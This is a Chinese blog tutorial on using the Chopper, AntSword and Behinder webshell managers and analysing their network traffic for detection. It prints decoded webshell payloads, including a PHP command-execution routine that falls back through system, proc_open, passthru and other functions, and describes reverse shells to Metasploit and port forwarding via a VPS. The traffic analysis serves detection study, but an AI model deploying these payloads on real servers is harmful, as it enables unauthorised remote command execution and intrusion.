webshell使用与流量分析

  • 一、菜刀

    • 1.使用方法

    • 2.流量分析

  • 二、蚁剑

    • a.未使用编码器时的蚁剑流量特征分析。

    • b.使用编码器的蚁剑的流量特征分析。

    • 1.使用方法:

    • 2.流量分析

  • 三、冰蝎(3.0)

    • 1.对冰蝎的木马文件进行静态分析:

    • 2.流量抓包分析

    • 1.连接webshell

    • 2.内网穿透

    • 3.shell反弹

    • 1.使用方式:

    • 2流量分析:

  • 说明:流量包附件

一、菜刀

1.使用方法

 
  1. 菜刀的使用简单,将一句话木马上传到目标,然后直接使用菜刀连接即可,菜刀主要可以对目标进行虚拟终端,文件操作,数据库操作等。

图片

图片

图片

图片

2.流量分析

1.当菜刀和服务器连接后:最开的的两次流量通信,便产生了大量的数据信息。且使用了base64的方式进行编码

图片


2.对数据解码,发现第一的数据是获取设备的信息,第二段数据是写入了一段新的木马,对第二段的base64编码进行转码整理后得到;

 
  1. @ini_set("display_errors","0");

  2. @set_time_limit(0);

  3. if(PHP_VERSION<'5.3.0')

  4. {

  5. @set_magic_quotes_runtime(0);

  6. };

  7. echo("X@Y");

  8. $D='C:\\phpStudy\\PHPTutorial\\WWW\\webshell\\';

  9. $F=@opendir($D);

  10. if($F==NULL){

  11. echo("ERROR:// Path Not Found Or No Permission!");

  12. }

  13. else{

  14. $M=NULL;$L=NULL;

  15. while($N=@readdir($F)){

  16. $P=$D.'/'.$N;

  17. $T=@date("Y-m-d H:i:s",@filemtime($P));

  18. @$E=substr(base_convert(@fileperms($P),10,8),-4);

  19. $R="\t".$T."\t".@filesize($P)."\t".$E."\n";

  20. if(@is_dir($P))$M.=$N."/".$R;

  21. else $L.=$N.$R;}echo $M.$L;

  22. @closedir($F);

  23. };

  24. echo("X@Y");

  25. die();

图片

 
  1. 其中特征点有如下三部分,

  2. 第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;

  3. 第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;

  4. 第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

  5. 注:

  6. 1.有少数时候eval方法会被assert方法替代。

  7. 2.$_POST也会被$_GET、$_REQUEST替代。

  8. 3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

在进行数据传递的过程中,基本都是使用了post的方式向服务端发送数据。

图片


追踪数据流,发现使用了base64的方式加密,但是返回的相应数据是以明文的方式。

图片


通过对base64的数据进行解码,得到如下的数据。可以看到,是通过拼接字符串“assert”和“eavl”

图片

二、蚁剑

1.使用方法:

蚁剑是根据菜刀的基础升级而来,也是可以通过一句话木马进行连接,或者使用蚁剑自带的payload进行连接。使用这种方式连接到的webshell数据没有进行任何的加密或者转码,直接以明文的方式可以被wireshark抓取到。

图片


但是蚁剑可以自定义头数据,而且可以通过配置编码器,对数据进行一个加密,这样可能大程度的减少发现的概率。

为蚁剑设置自定义头数据等其他自定义信息:如图,我们添加了新的请求头数据

图片


蚁剑也可以进行加密编码设置:如图设置一个编码器,在蚁剑的配置文件中对其设置

图片


选定需要配置的编码器,点击rsa配置,设置对应的公私钥

图片


将配置好的的编码器在连接配置文件中加载。

图片


使用这种方式的加密,数据会使用rsa的方式进行加密,使得我们抓取的数据包的数据不再是明文,而是是rsa加密的字符,其他编码器同理。

2.流量分析

 
  1. 蚁剑是依据菜刀升级而来,所以大致的流量特征会和菜刀及其相似

a.未使用编码器时的蚁剑流量特征分析。

依然使用了POST的方式进行了数据的提交。而且默认情况下没有做任何的数据编码或者加密

图片


通过分析,他依然是上传了一段新代码,用于实现更多的功能

图片

b.使用编码器的蚁剑的流量特征分析。

使用了头信息添加或者修改,可以通过抓包发现,发生了作用。

图片


蚁剑有默认的ua,但是在本次实验的时候,变成了一个可变的动态ua头。

图片

图片


对数据流量进行分析,发现数据好像被加密了

图片


通过base64解码出来,发现是没有意义的数据,可以判断,设置编码器进行的rsa加密产生了作用

图片


通过追踪流发现,请求数据都被加密了,但是响应数据依然使用的明文,通过这个线索,依旧可以实现检测。

图片

三、冰蝎(3.0)

1.使用方式:

冰蝎属于是一个功能强大的webshell管理工具,它有自带的payload,我们只需要将后门文件放到服务器上即可执行功能,冰蝎相比之前的webshell,流量更加安全隐蔽,而且功能更加强大如,设置转发,反弹shell等。

1.连接webshell

找到对应的后门文件,上传到服务器。

图片


使用冰蝎对其连接。发现功能比较多

图片

2.内网穿透

冰蝎支持多种内网穿透方式。

图片


使用端口映射的方式进行一个内网穿透,在冰蝎上做好配置,在vps上使用端口转发工具进行一个监听。

图片


这儿使用的是lcx,且成功完成了转发

图片

图片

3.shell反弹

冰蝎支持shell反弹,甚至可以反弹到cs和msf。

图片


尝试反弹到msf,获取meterpreter。

设置好参数,准备反弹shell到meterpreter,同时可以看到使用的payload

图片


msf端设置好参数,等待shell

图片


冰蝎上开启反弹。msf获取到shell。

图片


其他功能不再测试

2流量分析:

 
  1. 冰蝎使用对称加密算法。加密过程总共分三步:

  2. 第一步,密钥传递阶段(3.0使用了预共享)。

  3. 第二步,算法协商阶段,加密算法一般为AES128和异或。

  4. 第三步,正式通讯阶段。客户端使用上述密钥加密payload,POST给服务端,服务端解密后执行将结果又以加密方式作为Response Body返回给客户端。

1.对冰蝎的木马文件进行静态分析:

首先会将连接密码进行md5运算,取前16位,作为session留在服务器端

图片


响应的数据通过aes的方式加密

图片

2.流量抓包分析

因为使用了预共享的密钥,所以基本没有明文直接通信

图片


但是我们自己搭建的环境,自己知道密钥,所以可以将数据解密。

图片


解密出来的东西应该是一串base64编码过的数据。

图片


再一次编码,获取到数据

图片


对第一组数据包进行一个分析:

图片


对请求包进行处理,对获取到的数据进行aes解密和base64转码后,获得的数据,大概可以理解为是一个认证包,如果服务端返沪后后的数据一致,那么就算是认证完成,进入后续流程。

解密后的请求包

 
  1. @error_reporting(0);

  2. function main($content)

  3. {

  4. $result = array();

  5. $result["status"] = base64_encode("success");

  6. $result["msg"] = base64_encode($content);

  7. $key = $_SESSION['k'];

  8. echo encrypt(json_encode($result),$key);

  9. }

  10. function encrypt($data,$key)

  11. {

  12. if(!extension_loaded('openssl'))

  13. {

  14. for($i=0;$i<strlen($data);$i++) {

  15. $data[$i] = $data[$i]^$key[$i+1&15];

  16. }

  17. return $data;

  18. }

  19. else

  20. {

  21. return openssl_encrypt($data, "AES128", $key);

  22. }

  23. }$content="aWxjVG54ejFQRVdnM1lLbFNXUU1sRkQycWVqblMxd0JJbmdYa2EyNGdIUjRJcXV4NWp5NHZiQjdJT1huOHVXcENGd2FMWkZqRWhXZFNnaVpxR2cxUzBLeTJrVkpMUGpYWEZJR29QdFlPRk9VN2xtQVhtZzNlR1ZpUjl5ZjlpMEh4N2g3SFdyampDNm1oTUNueHdmTHZzTzRmOVJORVlacldVRGcydkJSSUNsdUxKQjZKdWZ0SEZIVkxXOFVUbWFUZmsyeklvMWR5TWd5RlhneW9aUFhkR2xXV0VCYTRyQzM1UFpxdFFmU2RiWXlFSnhBQ3hRVkU2djV2RFlQQUJETFZQekEwUGwzRXhTazdvSkc1UWJubXp2aVJRMHN3SGtucmdTWjdaMXlQRGVrdUZETFdCZlMwTUxVbEpaaG81T2Q2YXdsR3BRcjNVdnhpT25tMjJ0TmNjZjU2a242Z0p4VjlSamNlTHpIMldyeXNNZmdKUXNnN1l2RmZCMkRtcFVubGtRNXRzTFNaWE0yQ0I4MVRZOWVqaGRVVk8ybUI0cFRvNUNxb295VTdoTnhFbk5ISFlGbVhqWVZNSkYyRU9yT2RtRm5tOXFqdlF3cnVjUXRxU2dEUHZCRlA0Nndrd3Znd3lMVkJjbDRjRHk0dVNOT2ZGSmJKNE9UbWlGaWNZNWx5aHJNVHhXS0RhMnAxZ3RWT3phRWZybHpPUGVvZ3lSTWN2bDRzNUtrQlBFVHN5RGJXRTFPbnJvOEhUb1l3dEtBUGVscmlLWWdaczJmUHZZVzlveE03d3p0UXBaOGl2YnYweTlVemZWWkF5bzE4NmdQOXJ0Yzc5ZXVscDFMTm4yZUxUTGtqcllnblhiZGJsMVhmcm5BcnJnd1BlZWFBemV3cE5aem91Q2haV29YcEphaVA1UjMzQjJnR3M0NFZUQ2VzWmdmT3h1WkxPdlFzcWdWQjF5dEp1ZUtyQlRwWGxFVEhWc2c0bk9qeTg2Y1lvSVJPZmk4cU55ejVEZjN1RWt4dHJGRTBmUDlDYnpSQ21HYUJqdnI4d2pnelhQUXdzVFFqMXB1RllvRzZmMTZZaEk1MUZhQ0FXMjNpdENyZFMySm5ocmFIY1Q1a1hqTjk1aHJkbTA3T1VLeEw2M2ZHRnI5d1dpb0hHNFJhekRXakc1RWl5M1pUVERQYmlQZmIyOGZmNmVQMTBrSVJwUnZjODF0eGp2YXpTVlE4WGQ5alBlVzNKV3BMY09qWFpzaHNIMmQ0eDNLNWZwRXZ1SjljeDhHTlBNYzRTWGpTcXpoUGpRdVVRclNNVGdhZWZrNzh1dkNtQnliQTY3ZWxFYWtoWmdKQktuU0l2Z2RjMGNyOFdwZndwMzRhTmc1UEZCU1Fuazc4UVZZekl0ZnJSSGV3eHkzVEVYRjZiWmdoUGUzRUdyNXI4N2E1amkxUWFjYlRob005ZHgxNnJyOHU2bzF1eTF6N29PSzY5MEx4WjVPYjlmWndxWEk0dU1RbGZDUnNIN0VVWWgwV2dxODN1ZHZ1blBHaDdWQ0lab0xMWUs4eHhFWm4yRm1uenlWdU9id0NZYkx6OWdySG53ZUVsUWpQa0d3NlA3YmNQMm5MMUdqZzNwZ3BxVEVOdzdYdElIYVFpNjZpOWRzMmhobGpycHR1ekVqTVVvbUJQckFTM2RwRkVBeFdBRG1ab2FUN1ZQNHBQSms1QmpBOWhwMk1jZU9PMU82ZENjWXVtTjBDVUxPNDlzbkNiVHEzM0E4TExtcms5WlhDTHFuVU1TQVoyVzRYdzk0bXl3d1FJRUZBdHg3azRDTzRXN2lyTkR3MUVWb3JyYlBVdkp3cWtWMnRpMWRJaHloYTFHV0VQSWRGV3J5REFwNnRRVlhXMDRkOXFtT011cjE0aXR1cEJaUlVZMlZGU0p0dkhqV1RkSTlJeVoycXdqM3RmQUd3dHJ1RWZDQmQ5VUVRdVpraE1SWmpUSEJDQXk4RDg1MkR1RlF4OTRZWmNWMEZWN3puR0k3SDl2RmlJNmdiZ0VsTUNudjAzdVBmUlNtY0xibnM3YWV2Unc1S1BaN1FIM0JqeTdzaGVXTUtVeGExb2RNUVNiQnNkek85ejJTanpPZkVMcnFBekh6eG1mWDZxcVlsS0JVaGZlckFZN0JRY2kxWmw5MGZKTEZhdHhkcDFDVUgyTGN2SVhtRmFqdU9DYVY0Rk5vVGs0aUFTNXB6NUtheXZDWTdvRFA1ckpkd1IzTjVlb0pXVDVnR2J1QUFyWVl2aEtZTU4xQVRxZnFwSnlkaTlMQ01nWDh5UmI5MEwycGo1TVprcFp5NVZZakdwMElWUGV4cVZVS2JWa1hjbkZCUWtETXlzOVBzUHUyR2hUdFdrSlZOZWtLMWJSTXhWZWR4Wm5GZ2VBN1lsVExhUmdzUVBkNXdRa2FRS2pnbDEzWk5UT3RUQjZidG9GNkRTM1JwWURxc0hCRkd0NVFqd0FGYVByWFZtYkxCUDZkc280V3kxZTJxVVZuV0hmbFZWTXk5dXpGalhRRHM4MkVhNVlqYmVpajNXOGl3RFNPaHFwTU9FQ2l2eVkxZmdFcG9CM3hSRmpGdWlmWGRiWndHMEpsYkVvcnZPRGlDOEhZWjhPaU12dTFxM0lTMUNPejU2VHhzUFFYdVhQTmJSNkg2V0FGd1FHRDlWbHIybTF6WkdRY0hmdHl2dWQzb1VEVFQ3RThKRFBWaXJ0ZEtEVFJodDR4SVBHMVBpdG00WjRldm9CRmxySldsdFJRa0ZEVnFFdkg5N2xMN2hpbzFKdGdRYmFyUWY5QnRMUkdhaUZiTDN0SzBKbzJ1dms1M2pSUXR3alFHMUFuMllkcWw3Wjlib1JDOUxZbm5KdGdJeTdKWWxNU0R1NTRISzRTRGt5UHppbXJncjJBOHptTUtmaXRTQ0RUM2tNVlhlWUVXNEZEMGtHRDdHMGN0WjRFT1NTTjhZTTBrVkxMcnZ6WE5pc2hGc1hES3FMclh0NVNFeVRRdjVocDJ2YkNDSEdwVzNrdWMzaWRuc21CUnZ0V2xhSFRlaGNDQ0I1NzlVVUk2R0FEZTlpdjRUdUdnejlxRTlvcmdrT0tuYmRESkhIRFM5TVJYV1BJY0FHUkVURlFGOENlQ2tmZmJITjVEd1RBRWZ4eDRQSGV6UVBmQTZSTjVqZXdKeWY5dGtkdkVIelJSOTFkVE1JT21kS1AxYzJwekpKZUFJekNaUmg5Sm9MNDhCSW5wWHBXVEE2ckEzNTRKNkJzVzNyMVRFOUU3WmNwTkVXZFdTcGNWZWxGbmtlam5XNklteXgxaHBjcTd1VGxnWVBoRUptNFVxTnMxOHQ5YlByQW1BaHpvM0Zmb3M=";$content=base64_decode($content);

  24. main($content);

经过和返回包的解密转码后做比对,可以认为完成了认证。

图片


完成认证后,客户端向请求端发送了数据,通过解密得到数据。请求执行了phpinfo.

图片

 
  1. error_reporting(0);

  2. function main($whatever) {

  3. ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();

  4. $driveList ="";

  5. if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))

  6. {

  7. for($i=65;$i<=90;$i++)

  8. {

  9. $drive=chr($i).':/';

  10. file_exists($drive) ? $driveList=$driveList.$drive.";":'';

  11. }

  12. }

  13. else

  14. {

  15. $driveList="/";

  16. }

  17. $currentPath=getcwd();

  18. //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;

  19. $osInfo=PHP_OS;

  20. $arch="64";

  21. if (PHP_INT_SIZE == 4) {

  22. $arch = "32";

  23. }

  24. $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));

  25. //echo json_encode($result);

  26. session_start();

  27. $key=$_SESSION['k'];

  28. //echo json_encode($result);

  29. //echo openssl_encrypt(json_encode($result), "AES128", $key);

  30. echo encrypt(json_encode($result), $key);

  31. }

  32. function encrypt($data,$key)

  33. {

  34. if(!extension_loaded('openssl'))

  35. {

  36. for($i=0;$i<strlen($data);$i++) {

  37. $data[$i] = $data[$i]^$key[$i+1&15];

  38. }

  39. return $data;

  40. }

  41. else

  42. {

  43. return openssl_encrypt($data, "AES128", $key);

  44. }

  45. }$whatever="ZnkyT0dRdjRpaGlXeU92Q0UycHkyVjJDT2R1MWNNcWNuN08yaTJ1Rk1HckVQSVNoSmlya05kZ1NDTnYwZ1N3QUtFMkV0NzFJT1NodDhPNGJpQUl0TzNYSWdJTVZCRW94RXpseHFZVjhXelhPc1FIMm54MllpUklTMDlxWVd5cWxvRW9lOWt3VWF3Y2g0UjhISm9jS08zampLeWsxckhXanZCclRsQ28yQXJPRHpteGtxVTlXM0I5OVN1eUlLNE44UDlIb1NaRXc4Yk1aaVhzWmRySnlnenlNczVCU2M4Zk5uQm0wbFA4S1k5YUNpRUpyY09ZM1kyNlF5U1M5cUtPaVF0akRkVjc2YWZPeUNNVW9iNUJtTmtHcHluMWZMaWlTMnJrbDk5WVZ1T1p3ZXp2aW1nUjE2ZlIwT2F0NWd2UTFOYmlxQ2RmQmE2eUc3OW45RDk4dlhQM0djdVdRRW5iV1hNdzBOQlMybVYxRjJzRW1tS3ZMNGN3ZFZsU0d5eVZUU1BrUlhmSnB2SnpBR3NLN0ZSNzdLdE5pcWU5cVQ1UldNb1YxWmsxMk1LdGI5ajE0NkJJWVptc0VCbnQ1eXN6dVRmWHNvYUJKOUxKMjJFa0k5REVqRHp0Y0hEaThaYVB0ZzlXR29KSmZ0U2NQUGJDdk1CbVF0RTFrTU5ieXNvQWRrSTdqeURENmlNd0dQYTlkV2Y5R0UxTDY3cE8zV29wQWxMM3JDSVhDWWU3SnA1QVo3RXZhUm9CeVNvc3hMS3l4b0RWbUpMR2MwUEJzU3MzYlVnSk9QMEpUeVgwM1F6VmxvMnJLUGlaNFM2MnhISVVuRFNYQkxORVE1Ynk0TUY3bkJyeGJEOUNVaDFxbTNqdzZIRkprU1hYT3g5clJ2NndUMHNtbXRtZmZGemlUWExHb3NSUmZaeWt6b3hZQkFtSU9wQnpEOXZkRGdOendYWTZ0bkx6WDdLZmFBWXJtcnhNVHdRclNlSHJ1ZTYyWktxdzU1aHpucUcyQ1pDNFJYYkxPaFp1NHY0dlRGVkpwNFpSWHN2TjREZ283SkgwYzNvN0xzamFpOXJaU3B1SXVhNGJRQXc3em1Dc0JZN2c2S2RDQUp1c0xCUmJaSGFsc21IaVA5RGplQ2FpWW9jU3kzdVJMQXYxOWtwR09UU3pFdjRCaTVXa1g1RU9JbWZZQXQxa1JYVGRsdkF4aFFaeEJ4SmhNMncyaDZKaWtzc1RtZGI1TUc1b0dxMnNGbWlHSVFpVVFlVUNISXJiSzdLazY1STdCdFdwS3o2am5oeFR4bFNvS0czTGNVZUdUcnNBc2U3aFFhczVtTnFKQk03MkNhZDU2ZEEzVFowamROeExhOGFEUjNFNG5kazZCZlhSUnA5dWVITTRXSXJDYzllMWVZWkZsdkhOeUd6QVQ3MllGQldnTVh2cERVR3kxV2xaMll1V1kwMXBsd1BIMVBQa3dEOHRONGVKSkNkOFd4NVdxWFVvOGRSY0FDNXptYmhTMVNZN1drSUM1WkhZNWt2Z2luWmFWeUpLY0pnNGwwWXBNM3lsRENNamVBQkEwRGpWbTF1Y2lHbVFRZUh5VUJKWEljc0NZNjN2bGV3MG9Tb1BxdFg4NURvUEI1RmVkUW5nMHc4d0RRcFV3QTczdlJVaVdlUWZDUUxNb2RHSENyT3p5N0lKeXdESVc1WVViZUlDUEI4cTBNTmZGWWJ5WFhBSjVPRnBDVVNlR0Q2ampMR0VBN2JqMXBKU0h0UWVWRGt4UU9QVmZFTlRhSGJZem9haDFOM0FEcHRpOWxaZzhoNnhRZmcyT085VHBiek9qQnY5UDQ4OGg2Z1p0TWFDVVRwTkRLR2NQR1E1MnlacTlIeGk2aDJCRmNMUTY0b2VPNzhnUzFibnFhNzZSU2E4UXg1UXQ3NVRmaTlZMWdKUDZRNmg2ZTljaElFc2JhR2c1VkpEbG5YRmtWeUhLYXVZSWtGbXhraXJLSXJqVHRrcWJPc2JQUkxjVU5EV0tDRWhwc1VkNnl6R0lzVWlsZ0FEZU9qZnBzRDYzZTNhd3RxWVpNSGpjcHdPcXdGa3lTWm1BdWdTdXlqZDFZQjdPYm5tZ3ZHbjVhcjg2RGQ1RFNyUlZ5ODg5bXRFVjQydHpuUDNMYkhtS1FYQ0c5TUl3RjE0ODdhN1dJZFRYYXZ6NnBoVDRBRk1ra21NYzFSMUcyRU1rM25IcVRZV0xYT2U2ZXpsbDRzN25uc3JpZExjaU13QnVPYUlLSE9IQzM0Z3pJcGFWOThHZUVkeWZ3YUpod1o1S09EVUJIWmc0UnBqRGVyOHlUVUd5QURCcGN0STlsS3U4QnhXTkhadEhOWEV5cEU1dVdGQlZpS1U5SjkxY1BmMklyc29Ba1N1TVpReUR1RWNlS0JSbWdNUU5wWGNJUFd2dlNVNTFWWnJsUkRjSU1UcmV4a09lOWFaQmRhbFl6enJ4cVI0V3gyaW1iRnFoc1ZsMlo2UVV0YVhtbUg0d0FPTTBwRFI1N3hET3BMNFBOR0tLZUNaT2oyMTYwMTJDME5RN1l4QnVVR0tsYlkxUHdCOHlhSktlQlFVSjVrSlpzeTVvYmJxdDNsQXoxekU0R1pRRmVWNndXS2FmMGQyT0ZTWkhkUUdPd1JaWHZocXZLMlJ5c0FSOVBmaG1jQnVDeWRCcU03alhNRTF2cEF6eVhkbm5YOXZaOUQzcjd0VFFGMXZ1QmoxamZLYlZtNzFMOWYwQ1RRVUN2b3RMR3dyZ0U4ckg=";$whatever=base64_decode($whatever);

  46. main($whatever);

对响应数据处理后,发现反馈的是phpinfo信息。

图片


通过追踪流,可以获取到所有的数据,分别进行解密,观察数据。这里对执行命令(whoami)部分的数据进行分析

通过aes解密和base64编码后得到了数据明文。

图片

 
  1. @error_reporting(0);

  2. function getSafeStr($str){

  3. $s1 = iconv('utf-8','gbk//IGNORE',$str);

  4. $s0 = iconv('gbk','utf-8//IGNORE',$s1);

  5. if($s0 == $str){

  6. return $s0;

  7. }else{

  8. return iconv('gbk','utf-8//IGNORE',$str);

  9. }

  10. }

  11. function main($cmd,$path)

  12. {

  13. @set_time_limit(0);

  14. @ignore_user_abort(1);

  15. @ini_set('max_execution_time', 0);

  16. $result = array();

  17. $PadtJn = @ini_get('disable_functions');

  18. if (! empty($PadtJn)) {

  19. $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);

  20. $PadtJn = explode(',', $PadtJn);

  21. $PadtJn = array_map('trim', $PadtJn);

  22. } else {

  23. $PadtJn = array();

  24. }

  25. $c = $cmd;

  26. if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {

  27. $c = $c . " 2>&1\n";

  28. }

  29. $JueQDBH = 'is_callable';

  30. $Bvce = 'in_array';

  31. if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {

  32. ob_start();

  33. system($c);

  34. $kWJW = ob_get_contents();

  35. ob_end_clean();

  36. } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {

  37. $handle = proc_open($c, array(

  38. array(

  39. 'pipe',

  40. 'r'

  41. ),

  42. array(

  43. 'pipe',

  44. 'w'

  45. ),

  46. array(

  47. 'pipe',

  48. 'w'

  49. )

  50. ), $pipes);

  51. $kWJW = NULL;

  52. while (! feof($pipes[1])) {

  53. $kWJW .= fread($pipes[1], 1024);

  54. }

  55. @proc_close($handle);

  56. } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {

  57. ob_start();

  58. passthru($c);

  59. $kWJW = ob_get_contents();

  60. ob_end_clean();

  61. } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {

  62. $kWJW = shell_exec($c);

  63. } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {

  64. $kWJW = array();

  65. exec($c, $kWJW);

  66. $kWJW = join(chr(10), $kWJW) . chr(10);

  67. } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {

  68. $fp = popen($c, 'r');

  69. $kWJW = NULL;

  70. if (is_resource($fp)) {

  71. while (! feof($fp)) {

  72. $kWJW .= fread($fp, 1024);

  73. }

  74. }

  75. @pclose($fp);

  76. } else {

  77. $kWJW = 0;

  78. $result["status"] = base64_encode("fail");

  79. $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");

  80. $key = $_SESSION['k'];

  81. echo encrypt(json_encode($result), $key);

  82. return;

  83. }

  84. $result["status"] = base64_encode("success");

  85. $result["msg"] = base64_encode(getSafeStr($kWJW));

  86. echo encrypt(json_encode($result), $_SESSION['k']);

  87. }

  88. function encrypt($data,$key)

  89. {

  90. if(!extension_loaded('openssl'))

  91. {

  92. for($i=0;$i<strlen($data);$i++) {

  93. $data[$i] = $data[$i]^$key[$i+1&15];

  94. }

  95. return $data;

  96. }

  97. else

  98. {

  99. return openssl_encrypt($data, "AES128", $key);

  100. }

  101. }$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1x3ZWJzaGVsbFwiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3dlYnNoZWxsLw==";$path=base64_decode($path);

  102. main($cmd,$path);

看不大懂是个啥,但是大致知道了就是用这个代码实现了命令执行的功能,对最后的两串cmd参数,path参数的base64数据解码,得到了路径和执行的命令。

图片

图片


对响应的数据进行一个分析,将响应数据的密文复制,进行一个解密

图片


继续得到一串base64数据。

图片

 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 25
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值